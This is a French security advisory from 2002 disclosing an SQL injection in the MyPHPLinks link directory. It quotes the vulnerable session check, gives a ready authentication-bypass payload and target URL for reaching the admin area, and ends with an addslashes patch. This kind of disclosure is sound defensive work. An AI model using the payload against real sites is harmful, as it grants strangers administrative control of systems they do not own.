MyPHPLinks ********** Informations : °°°°°°°°°°°°°° Langage : PHP Website : http://www.myphpsoft.net Versions : 2.1.9, 2.2.0 CVS Problème : Injection SQL -> Accès admin Developpement : °°°°°°°°°°°°°°° "MyPHPLinks est un annuaire de liens de type Yahoo, il dispose d'un système de cache, d'une section modérateur pour la validation des liens ainsi que d'un système de Mailing List afin d'informer les surfeurs de l'arrivé de nouveaux liens. L'outil d'administration simple, permet d'effectuer toutes les opérations possibles sur un lien ou une catégorie (valider, supprimer, activer, désactiver, modifier...) Il intègre aussi : un top click, un moteur de recherche (mots clés et description) et permet de mettre en place des relations de catégorie." Il existe une version .php et une version .php3 de MyPHPLinks. J'ai pris pour l'explication la version .php, la seule difference étant de toute façon l'extension des fichiers. La faille va nous permettre d'accèder à la partie administration. Dans les fichiers de cette partie (admin/gestion.php, admin/index.php, admin/sendletter.php) on peut voir la ligne censée assurer sa sécurité : ---------------------------------- include('auth/checksession.php'); ---------------------------------- Et dans le fichier admin/auth/checksession.php on peut voir les lignes : ----------------------------------------------------------------------------------------------------------------------- [...] if($idsession!=''){ $dbs = new data(0,$MyPHPLinksHote, $MyPHPLinksBase, $MyPHPLinksUser, $MyPHPLinksPass); if(!$dbs->connect()) die($dbs->error); if(!$dbs->query("select count(*) as nb from ".$MyPHPLinksTBAuth." where session='".$idsession."' and timesession > now()")) die($dbs->error); while($dbs->nextrecord()){ $loginauth = $dbs->valeur("nb"); } if ($loginauth==0){ header("Location:$MyPHPLinksAuthPErrDef");exit; }else{ if(!$dbs->query("UPDATE ".$MyPHPLinksTBAuth." set timesession=now()+".$MyPHPLinksTLSession." where session='".$idsession."'")) die($dbs->error); } }else{ header("Location:$MyPHPLinksAuthPErrDef");exit; } ?> ----------------------------------------------------------------------------------------------------------------------- On peut voir qu'un administrateur est authentifié grâce à un idsession (généré dans admin/auth/login.php) enregistrée dans la base de donnée. On voit donc la requête SQL : -------------------------------------------------------------------------------------------------------- select count(*) as nb from ".$MyPHPLinksTBAuth." where session='".$idsession."' and timesession > now() -------------------------------------------------------------------------------------------------------- Si l'idsession est enregistré dans la DB, l'administrateur est loggé. On va donc essayer d'inserer un idsession valide. Pour cela on va utiliser la structure de la requête SQL. Rapellons que l'expression ''='', comme 1=1 ou 'a'='a' dans MySQL retourne toujours vrai. Si on entre donc comme valeur à la variable $idsession : ' OR ''=' La requête deviendra : ---------------------------------------------------------------------------------------------- select count(*) as nb from $MyPHPLinksTBAuth where session='' OR ''='' and timesession > now() ---------------------------------------------------------------------------------------------- Ce qui retournera vrai. L'url, par exemple, http://[target]/admin/gestion.php?idsession='%20OR%20''=', fera accèder nimporte qui à la partie admin. Patch : °°°°°°° Dans admin/auth/checksession.php, ajouter juste après -------------------- if($idsession!=''){ -------------------- la ligne : -------------------------------------- $idsession = addslashes($idsession); -------------------------------------- Un patch est disponible sur http://www.phpsecure.org . Credits : °°°°°°°°° Auteur : frog-m@n Website : http://www.frog-man.org, http://www.phpsecure.org E-mail : frog-man@frog-man.org Date : 14/12/02